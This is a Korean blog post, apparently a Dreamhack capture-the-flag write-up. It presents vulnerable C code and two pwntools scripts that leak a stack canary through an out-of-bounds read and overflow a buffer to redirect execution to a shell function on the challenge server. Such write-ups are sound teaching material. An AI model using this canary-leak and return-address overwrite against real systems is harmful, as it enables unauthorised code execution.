반응형
아침부터 5시간 동안 문제 풀이에 헤맸다. 결국 스스로 풀지는 못 했다.
아래는 문제 코드다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
취약점은 case : "P"에서 배열의 값을 읽을 때 발생한다.
GDB로 분석한 결과 배열의 129~131번째 값이 카나리 값이다. 이 값을 읽어서 합치면 카나리 값을 알 수 있다.
CASE : "E"에서 return 주소를 get_shell 주소로 변경하면 get_shell 함수로 이동할 수 있다. 카나리 값을 알고 있으니 이를 이용해서 코드를 작성하였다.
아래는 내가 풀이에 사용햇던 코드이다.(틀려서 안 풀린다...)
from pwn import *
import binascii
r = remote('host3.dreamhack.games', 9172)
context.arch = 'i386'
get_shell = 0x080486b9
canary = b'0x'
for i in range(131, 127, -1) :
r.recvuntil(b'[E]xit')
payload = b"P"
r.sendline(payload)
r.recvuntil(b'Element index :')
payload = str(i).encode()
r.sendline(payload)
r.recvuntil(b'is : ')
canary += r.recv(2)
print(canary)
canary = int(canary, 16)
r.recvuntil(b'[E]xit')
payload = b"E"
r.sendline(payload)
r.recvuntil(b'Name Size :')
payload = str(500).encode()
r.sendline(payload)
r.recvuntil(b'Name :')
payload = b"1"*0x40
payload += p32(canary)
payload += p32(get_shell)
print(payload)
r.sendline(payload)
r.interactive()
ㅋㅋ.. 글을 쓰면서 다른 사람이 해당 문제를 풀이한 내용을 봤다.
내가 분석한 내용에서 잘못된 것은 없으나,,, 마지막 익스플로잇 페이로드에서 canary와 get_shell 사이의 값에 8바이트의 더미 값을 넣어주어야 한다. 결국 정답 코드는 아래와 같다.
from pwn import *
import binascii
r = remote('host3.dreamhack.games', 9172)
context.arch = 'i386'
get_shell = 0x080486b9
canary = b'0x'
for i in range(131, 127, -1) :
r.recvuntil(b'[E]xit')
payload = b"P"
r.sendline(payload)
r.recvuntil(b'Element index :')
payload = str(i).encode()
r.sendline(payload)
r.recvuntil(b'is : ')
canary += r.recv(2)
print(canary)
canary = int(canary, 16)
r.recvuntil(b'[E]xit')
payload = b"E"
r.sendline(payload)
r.recvuntil(b'Name Size :')
payload = str(500).encode()
r.sendline(payload)
r.recvuntil(b'Name :')
payload = b"1"*0x40
payload += p32(canary)
payload += b"2"*0x8 # 이거 실수함.
payload += p32(get_shell)
print(payload)
r.sendline(payload)
r.interactive()
분석했을 때, 카나리와 복귀 주소가 붙어 있는 것으로 확인을 했는데 뭘 잘못 봤는지 확인해 봐야겠다.
빨간이 카나리(시작주소) : 0xffffd380
초록색이 복귀주소 (시작주소): 0xffffd388
내가 착각하고 있던 부분이 EBP값이 복귀 주소라고 생각하고 있었다... 다음부터는 실수하지 말자.
반응형
'문제풀이 > 시스템해킹' 카테고리의 다른 글
[dreamhack] out_of_bound (0) | 2024.07.25 |
---|---|
[dreamhack] sane-env write-up (0) | 2024.06.05 |
[dreamhack] Return to Shellcode 문제풀이 (0) | 2024.05.20 |
[dreamhack] Cherry 문제풀이 (0) | 2024.05.01 |
[dreamhack] Return Address Overwrite 문제 풀이 (1) | 2024.04.29 |